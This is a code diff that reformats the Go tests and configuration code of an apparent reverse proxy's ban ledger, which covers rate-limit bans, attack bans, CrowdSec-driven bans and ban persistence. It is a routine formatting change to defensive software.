 		// This is repeatFactor * lastLength > MaxBanDuration, written so
 		// that it cannot overflow.

internal/bans/bans_test.go

@@ -27,14 +27,8 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
 		length := time.Duration(hours) * time.Hour
 		if !ban.Expires.Equal(now.Add(length)) ||
 			ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
-			t.Fatalf(
+			t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
-				"ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
+				i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
-				i+1,
-				ban.Expires.Sub(now),
-				ban.Notes.EarlierBans,
-				hours,
-				i,
-			)
 		}
 
 		now = ban.Expires
@@ -71,27 +65,13 @@ func TestRepeatWindowRunsOut(t *testing.T) {
 			ledger := bans.New(defaultParams())
 			netblock := netip.MustParsePrefix("203.0.113.9/32")
 
-			first, _ := ledger.BanForLimit(
+			first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
-				netblock,
+			second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
-				midnight(),
-				bans.Notes{},
-			)
-			second, _ := ledger.BanForLimit(
-				netblock,
-				first.Expires.Add(tc.gap),
-				bans.Notes{},
-			)
 
 			if second.Expires.Sub(second.Start) != tc.want ||
 				second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
-				t.Errorf(
+				t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
-					"second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
+					second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
-					second.Expires.Sub(
-						second.Start,
-					),
-					second.Notes.EarlierBans,
-					tc.want,
-				)
 			}
 		})
 	}
@@ -104,11 +84,8 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
 	params.LimitBanDuration = params.MaxBanDuration + time.Hour
 	ledger := bans.New(params)
 
-	ban, _ := ledger.BanForLimit(
+	ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
-		netip.MustParsePrefix("203.0.113.9/32"),
+		bans.Notes{})
-		midnight(),
-		bans.Notes{},
-	)
 	if !ban.Permanent() {
 		t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
 	}
@@ -129,12 +106,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
 	for i := range 14 {
 		ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
 		if !ban.Expires.After(ban.Start) {
-			t.Fatalf(
+			t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
-				"ban %d starts at %s and ends at %s",
-				i+1,
-				ban.Start,
-				ban.Expires,
-			)
 		}
 
 		now = ban.Expires
@@ -157,36 +129,17 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
 		t.Error("the first ban was not made")
 	}
 
-	again, made := ledger.BanForLimit(
+	again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
-		netblock,
-		midnight().Add(time.Minute),
-		bans.Notes{},
-	)
 
-	if made || !reflect.DeepEqual(again, first) ||
+	if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
-		len(ledger.Bans(netblock)) != 1 {
+		t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
-		t.Errorf(
+			"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
-			"a limit broken during a ban gave %+v, made %t, and %d bans, "+
-				"want %+v, not made, and 1",
-			again,
-			made,
-			len(ledger.Bans(netblock)),
-			first,
-		)
 	}
 
-	again, made = ledger.BanForAttack(
+	again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
-		netblock,
-		midnight().Add(time.Minute),
-		bans.Notes{},
-	)
 	if made || !reflect.DeepEqual(again, first) {
-		t.Errorf(
+		t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
-			"an attack during a ban gave %+v, made %t, want %+v, not made",
+			again, made, first)
-			again,
-			made,
-			first,
-		)
 	}
 }
 
@@ -195,26 +148,16 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
 
 	ledger := bans.New(defaultParams())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
-	ban, _ := ledger.BanForLimit(
+	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
-		netblock,
-		midnight(),
-		bans.Notes{Requests: 5},
-	)
 
 	for range 3 {
-		got, banned, _ := ledger.Check(
+		got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
-			netblock.Addr(),
-			ban.Expires.Add(-time.Nanosecond),
-		)
 		if !banned || got.Start != ban.Start {
 			t.Fatalf("check during the ban gives %+v and %t", got, banned)
 		}
 	}
 
-	_, banned, _ := ledger.Check(
+	_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
-		netip.MustParseAddr("203.0.113.10"),
-		midnight(),
-	)
 	if banned {
 		t.Error("another netblock is banned")
 	}
@@ -237,23 +180,11 @@ func TestFindCountsNothing(t *testing.T) {
 
 	ledger := bans.New(defaultParams())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
-	ban, _ := ledger.BanForLimit(
+	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
-		netblock,
-		midnight(),
-		bans.Notes{Requests: 5},
-	)
 
-	got, banned, _ := ledger.Find(
+	got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
-		netblock.Addr(),
-		ban.Expires.Add(-time.Nanosecond),
-	)
 	if !banned || !reflect.DeepEqual(got, ban) {
-		t.Errorf(
+		t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
-			"find during the ban gives %+v and %t, want %+v",
-			got,
-			banned,
-			ban,
-		)
 	}
 
 	_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
@@ -261,21 +192,12 @@ func TestFindCountsNothing(t *testing.T) {
 		t.Error("the ban did not end")
 	}
 
-	if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(
+	if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
-		notes,
+		t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
-		ban.Notes,
-	) {
-		t.Errorf(
-			"the notes are %+v, want them unchanged, %+v",
-			notes,
-			ban.Notes,
-		)
 	}
 }
 
-func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
+func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	params := defaultParams()
@@ -308,10 +230,7 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
 	wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
 
 	if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
-		t.Errorf(
+		t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
-			"a kept its ban of %s, want the later one",
-			ledger.Bans(a)[0].Start,
-		)
 	}
 }
 
@@ -344,70 +263,41 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
 	notes := bans.Notes{RuleID: "env-file", Target: "path"}
 
 	ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
-	if !ban.Expires.Equal(midnight().Add(7*day)) ||
+	if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
-		ban.Cause != bans.CauseAttack ||
+		ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
-		ban.Notes.RuleID != "env-file" ||
-		ledger.Made(bans.CauseAttack) != 1 ||
 		ledger.Made(bans.CauseLimit) != 0 {
-		t.Fatalf(
+		t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
-			"the ban is %+v, with %d made for an attack and %d for a limit, "+
+			"want one for an attack, of seven days", ban,
-				"want one for an attack, of seven days",
+			ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
-			ban,
-			ledger.Made(bans.CauseAttack),
-			ledger.Made(bans.CauseLimit),
-		)
 	}
 
 	wantChanged(t, ledger, true)
 
 	// In observe mode the ban refuses nothing, and stays as it is, while
 	// Find tells that the request would have made it permanent.
-	got, _, wouldMakePermanent := ledger.Find(
+	got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
-		netblock.Addr(),
+	if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
-		midnight().Add(time.Hour),
+		t.Fatalf("a request found under the ban left it %+v, would have made it "+
-	)
+			"permanent %t, want it as it was, and true", got, wouldMakePermanent)
-	if got.Permanent() || ledger.Bans(netblock)[0].Permanent() ||
-		!wouldMakePermanent {
-		t.Fatalf(
-			"a request found under the ban left it %+v, would have made it "+
-				"permanent %t, want it as it was, and true",
-			got,
-			wouldMakePermanent,
-		)
 	}
 
 	wantChanged(t, ledger, false)
 
 	// A request it refuses makes it permanent, says so, and makes
 	// bans.json due.
-	got, _, madePermanent := ledger.Check(
+	got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
-		netblock.Addr(),
+	if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
-		midnight().Add(time.Hour),
+		t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
-	)
+			"want it made permanent", got, madePermanent)
-	if !madePermanent || !got.Permanent() ||
-		!ledger.Bans(netblock)[0].Permanent() {
-		t.Fatalf(
-			"after a request during the ban, it is %+v, made permanent %t, "+
-				"want it made permanent",
-			got,
-			madePermanent,
-		)
 	}
 
 	wantChanged(t, ledger, true)
 
 	// The next request finds it permanent already.
-	_, banned, madePermanent := ledger.Check(
+	_, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
-		netblock.Addr(),
-		midnight().Add(100*365*day),
-	)
 	if !banned || madePermanent {
-		t.Errorf(
+		t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
-			"a later request is banned %t, and made the ban permanent %t, "+
+			"want banned by the permanent ban", banned, madePermanent)
-				"want banned by the permanent ban",
-			banned,
-			madePermanent,
-		)
 	}
 }
 
@@ -435,11 +325,7 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
 
 	// Its notes show the earlier ban for an attack that makes it permanent,
 	// beside the one for a limit.
-	third, _ := ledger.BanForAttack(
+	third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
-		netblock,
-		second.Expires.Add(30*day),
-		bans.Notes{},
-	)
 	if !third.Permanent() ||
 		third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
 		t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
@@ -456,18 +342,10 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
 	wantChanged(t, ledger, true)
 
 	// While the first ban lasts, none would be made.
-	during, would := ledger.WouldBanForAttack(
+	during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
-		netblock,
-		midnight(),
-		bans.Notes{},
-	)
 	if would || !reflect.DeepEqual(during, first) {
-		t.Errorf(
+		t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
-			"during the first ban, would ban %t with %+v, want false with %+v",
+			would, during, first)
-			would,
-			during,
-			first,
-		)
 	}
 
 	// As it ends, a clear sign of attack would ban for seven days, and a
@@ -475,31 +353,19 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
 	limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
 	attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
 		bans.Notes{RuleID: "git-dir"})
-	limit, wouldLimit := ledger.WouldBanForLimit(
+	limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
-		netblock,
-		first.Expires,
-		limitNotes,
-	)
 
 	if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
 		attack.Reason != "matched the rule git-dir" || !wouldLimit ||
 		!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
 		limit.Reason != "requests per minute over the limit of 1" {
-		t.Errorf(
+		t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
-			"would ban with %+v and %+v, want seven days for the attack and "+
+			"three hours for the limit", attack, limit)
-				"three hours for the limit",
-			attack,
-			limit,
-		)
 	}
 
-	if len(ledger.Bans(netblock)) != 1 ||
+	if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
-		ledger.Made(bans.CauseLimit) != 1 ||
 		ledger.Made(bans.CauseAttack) != 0 {
-		t.Errorf(
+		t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
-			"the ledger holds %+v, want the first ban alone",
-			ledger.Bans(netblock),
-		)
 	}
 
 	wantChanged(t, ledger, false)
@@ -556,8 +422,7 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
 	attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
 	limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
 
-	if limit.Expires.Sub(limit.Start) != time.Hour ||
+	if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
-		limit.Cause != bans.CauseLimit {
 		t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
 	}
 
@@ -578,23 +443,15 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
 		Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
 	}
 
-	ban, _ := ledger.BanForLimit(
+	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
-		netblock,
-		midnight(),
-		bans.Notes{Request: request},
-	)
 
 	cut := long[:256]
 	want := bans.Request{
 		Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
 	}
 
-	if ban.Notes.Request != want ||
+	if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
-		ledger.Bans(netblock)[0].Notes.Request != want {
+		t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
-		t.Errorf(
-			"the notes keep %+v, want each text cut to 256 bytes",
-			ban.Notes.Request,
-		)
 	}
 }
 
@@ -625,23 +482,13 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
 		{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
 	} {
 		got := held[i].Notes
-		if got.ASN != want.ASN || got.ASName != want.ASName ||
+		if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
-			got.Country != want.Country {
+			t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
-			t.Errorf(
+				got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
-				"ban %d's notes give %q, %q and %q, want %q, %q and %q",
-				i+1,
-				got.ASN,
-				got.ASName,
-				got.Country,
-				want.ASN,
-				want.ASName,
-				want.Country,
-			)
 		}
 	}
 
-	if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" ||
+	if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
-		notes.Country != "" {
 		t.Errorf("the ban on %s has %q and %q, want neither",
 			other, notes.ASN, notes.Country)
 	}

internal/bans/crowdsec_test.go

@@ -20,55 +20,29 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
 	expires := midnight().Add(4 * time.Hour)
 
 	// The ban that would be made is not made.
-	would, wouldBan := ledger.WouldBanForCrowdSec(
+	would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
-		netblock,
+		scenario, bans.Notes{})
-		midnight(),
-		expires,
-		scenario,
-		bans.Notes{},
-	)
 	if !wouldBan || len(ledger.Bans(netblock)) != 0 {
-		t.Errorf(
+		t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
-			"would ban %t, and the ledger holds %+v, want true and nothing",
+			wouldBan, ledger.Bans(netblock))
-			wouldBan,
-			ledger.Bans(netblock),
-		)
 	}
 
 	const reason = "CrowdSec's decision for " + scenario
 
-	ban, made := ledger.BanForCrowdSec(
+	ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
-		netblock,
+		bans.Notes{})
-		midnight(),
+	if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
-		expires,
+		!ban.Expires.Equal(expires) || ban.Reason != reason ||
-		scenario,
-		bans.Notes{},
-	)
-	if !made || !reflect.DeepEqual(ban, would) ||
-		ban.Cause != bans.CauseCrowdSec ||
-		!ban.Expires.Equal(expires) ||
-		ban.Reason != reason ||
 		ledger.Made(bans.CauseCrowdSec) != 1 {
-		t.Errorf(
+		t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
-			"made %t the ban %+v, want the one that would be made, %+v, for "+
+			"crowdsec until %s", made, ban, would, expires)
-				"crowdsec until %s",
-			made,
-			ban,
-			would,
-			expires,
-		)
 	}
 
 	// A second decision on the netblock while the ban lasts makes no other.
 	again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
 		expires.Add(time.Hour), scenario, bans.Notes{})
-	if made || !again.Expires.Equal(expires) ||
+	if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
-		ledger.Made(bans.CauseCrowdSec) != 1 {
+		t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
-		t.Errorf(
-			"made %t the ban %+v while the first lasts, want none",
-			made,
-			again,
-		)
 	}
 }
 
@@ -78,13 +52,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
 	ledger := bans.New(defaultParams())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
 	expires := midnight().Add(4 * time.Hour)
-	ledger.BanForCrowdSec(
+	ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
-		netblock,
-		midnight(),
-		expires,
-		scenario,
-		bans.Notes{},
-	)
 
 	// A request as the ban ends is refused, and leaves it as it is.
 	last := expires.Add(-time.Nanosecond)
@@ -92,13 +60,8 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
 	held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
 	if !banned || madePermanent || !held.Expires.Equal(expires) ||
 		ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
-		t.Errorf(
+		t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
-			"as the ban ends, banned %t with %+v, made permanent %t, want "+
+			"refused under the ban as it was", banned, held, madePermanent)
-				"refused under the ban as it was",
-			banned,
-			held,
-			madePermanent,
-		)
 	}
 
 	if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
@@ -106,9 +69,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
 	}
 }
 
-func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
+func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	ledger := bans.New(defaultParams())
@@ -117,20 +78,13 @@ func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
 	// Three times the three days would be permanent; a limit broken as the
 	// ban for CrowdSec's decision ends bans for an hour, as a first broken
 	// limit does.
-	crowdSec, _ := ledger.BanForCrowdSec(
+	crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
-		netblock,
+		scenario, bans.Notes{})
-		midnight(),
-		midnight().Add(3*day),
-		scenario,
-		bans.Notes{},
-	)
 	limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
 
 	if limit.Expires.Sub(limit.Start) != time.Hour ||
 		limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
-		t.Errorf(
+		t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
-			"the ban for a limit is %+v, want one of an hour after one for crowdsec",
+			limit)
-			limit,
-		)
 	}
 }

internal/bans/snapshot_test.go

@@ -29,16 +29,8 @@ func TestChangedAfterABanIsMade(t *testing.T) {
 	wantChanged(t, ledger, false)
 
 	// Two bans before the value is read leave one.
-	ledger.BanForLimit(
+	ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
-		netip.MustParsePrefix("203.0.113.10/32"),
+	ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
-		midnight(),
-		bans.Notes{},
-	)
-	ledger.BanForLimit(
-		netip.MustParsePrefix("203.0.113.11/32"),
-		midnight(),
-		bans.Notes{},
-	)
 	wantChanged(t, ledger, true)
 	wantChanged(t, ledger, false)
 }
@@ -60,10 +52,7 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
 
 	got := make([]string, 0, len(snapshot))
 	for _, ban := range snapshot {
-		got = append(
+		got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
-			got,
-			ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen),
-		)
 	}
 
 	want := []string{
@@ -88,10 +77,7 @@ func TestLoadedBansCarryOn(t *testing.T) {
 	after := bans.New(defaultParams())
 	after.Load(before.Snapshot())
 
-	_, banned, _ := after.Check(
+	_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
-		netblock.Addr(),
-		ban.Expires.Add(-time.Second),
-	)
 	if !banned {
 		t.Error("the loaded ban does not refuse")
 	}
@@ -99,11 +85,8 @@ func TestLoadedBansCarryOn(t *testing.T) {
 	again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
 	if again.Expires.Sub(again.Start) != 3*time.Hour ||
 		again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
-		t.Errorf(
+		t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
-			"the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
+			again.Expires.Sub(again.Start), again.Notes.EarlierBans)
-			again.Expires.Sub(again.Start),
-			again.Notes.EarlierBans,
-		)
 	}
 }
 
@@ -115,20 +98,10 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
 	// ban covers, beside a ban the ledger makes on one IPv4 address.
 	ledger := bans.New(defaultParams())
 	ledger.Load([]bans.Ban{
-		{
+		{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
-			Netblock: netip.MustParsePrefix("203.0.113.9/24"),
+		{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
-			Start:    midnight(),
-		},
-		{
-			Netblock: netip.MustParsePrefix("2001:db8::1/48"),
-			Start:    midnight(),
-		},
 	})
-	ledger.BanForLimit(
+	ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
-		netip.MustParsePrefix("198.51.100.7/32"),
-		midnight(),
-		bans.Notes{},
-	)
 
 	for client, want := range map[string]bool{
 		"203.0.113.0":     true,
@@ -165,10 +138,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
 	// As when an admin adds a permanent ban to bans.json with a start
 	// before that of the netblock's ban that has ended.
 	netblock := netip.MustParsePrefix("203.0.113.0/24")
-	permanent := bans.Ban{
+	permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
-		Netblock: netblock,
-		Start:    midnight().Add(-time.Hour),
-	}
 	ended := bans.Ban{
 		Netblock: netblock,
 		Start:    midnight(),
@@ -183,31 +153,20 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
 
 	ban, banned, _ := ledger.Find(client, now)
 	if !banned || !ban.Permanent() {
-		t.Errorf(
+		t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
-			"find gives %+v and %t, want the permanent ban",
-			ban,
-			banned,
-		)
 	}
 
 	ban, banned, _ = ledger.Check(client, now)
 	if !banned || !ban.Permanent() {
-		t.Errorf(
+		t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
-			"the client is refused: %t, under %+v, want under the permanent ban",
+			banned, ban)
-			banned,
-			ban,
-		)
 	}
 
 	// A limit broken now makes no shorter ban over the permanent one.
 	ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
 	if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
-		t.Errorf(
+		t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
-			"a broken limit returned %+v and left the netblock %d bans, "+
+			"want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
-				"want the permanent ban and 2",
-			ban,
-			len(ledger.Bans(netblock)),
-		)
 	}
 }
 
@@ -236,11 +195,7 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
 	// Once both have ended, a limit broken within the repeat window bans
 	// for three times the 9 hours, and the notes count the two bans
 	// before the 9-hour one and it, for a limit, and the admin's.
-	ban, _ := ledger.BanForLimit(
+	ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
-		netblock,
-		nineHours.Expires.Add(time.Hour),
-		bans.Notes{},
-	)
 	if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
 		ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
 		t.Errorf("the next ban lasts %s with earlier bans %+v, "+
@@ -271,10 +226,7 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
 
 	held := ledger.Snapshot()
 	if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
-		t.Errorf(
+		t.Errorf("the ledger holds %+v, want only the ban that began later", held)
-			"the ledger holds %+v, want only the ban that began later",
-			held,
-		)
 	}
 }
 
@@ -304,25 +256,16 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
 	// bans.json is taken in, that ban is lifted.
 	ledger.Load([]bans.Ban{kept})
 
-	_, banned, _ := ledger.Check(
+	_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
-		netip.MustParseAddr("203.0.113.9"),
-		midnight(),
-	)
 	if banned {
 		t.Error("a ban left out of the second load still refuses")
 	}
 
 	// The ledger holds one ban, so it makes two more without dropping any.
-	first, _ := ledger.BanForLimit(
+	first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
-		netip.MustParsePrefix("198.51.100.7/32"),
+		bans.Notes{})
-		midnight(),
+	second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
-		bans.Notes{},
+		bans.Notes{})
-	)
-	second, _ := ledger.BanForLimit(
-		netip.MustParsePrefix("198.51.100.8/32"),
-		midnight(),
-		bans.Notes{},
-	)
 
 	want := []bans.Ban{first, second, kept}
 	if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {

internal/config/config.go

@@ -106,8 +106,7 @@ func (e *environment) lookup(name string) (string, bool) {
 
 	e.settings = append(e.settings, slog.String(fileName, path))
 
-	//nolint:gosec // a file the admin names
+	contents, err := os.ReadFile(path) //nolint:gosec // a file the admin names
-	contents, err := os.ReadFile(path)
 	if err != nil {
 		e.check(fileName, fmt.Errorf("cannot be read: %w", err))
 

internal/config/rproxy.go

@@ -65,8 +65,7 @@ var (
 	errNotMilliseconds = errors.New(
 		"is not a whole number of milliseconds above zero, such as 2000")
 	errNotMillisecondsOrOff = errors.New(
-		"is not a whole number of milliseconds above zero, such as 60000, or off",
+		"is not a whole number of milliseconds above zero, such as 60000, or off")
-	)
 )
 
 // RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
@@ -74,36 +73,19 @@ var (
 // SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
 // invalid is an error that names it. Since rproxy never touches disk, its
 // settings have no _FILE form.
-func RProxyFromEnvironment(
+func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
-	lookupEnv func(string) (string, bool),
-) (*RProxy, error) {
 	env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
 	cfg := &RProxy{
-		ListenAddr: env.address("SWRP_LISTEN_ADDR"),
+		ListenAddr:         env.address("SWRP_LISTEN_ADDR"),
-		UpstreamURL: env.appURL(
+		UpstreamURL:        env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
-			"SWRP_UPSTREAM_URL",
+		TrustedProxies:     env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
-			defaultUpstreamURL,
+		WAFBackend:         env.wafBackend("SWRP_WAF_BACKEND"),
-		),
+		Timeout:            env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
-		TrustedProxies: env.netblocks(
+		DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
-			"SWRP_TRUSTED_PROXIES",
+		MaxRequestSize:     env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
-			privateRanges,
+		MaxResponseSize:    env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
-		),
+		MaxRequestTime:     env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
-		WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
+		MaxResponseTime:    env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
-		Timeout:    env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
-		DefaultDisposition: env.disposition(
-			"SWRP_DEFAULT_DISPOSITION",
-			"allow",
-		),
-		MaxRequestSize:  env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
-		MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
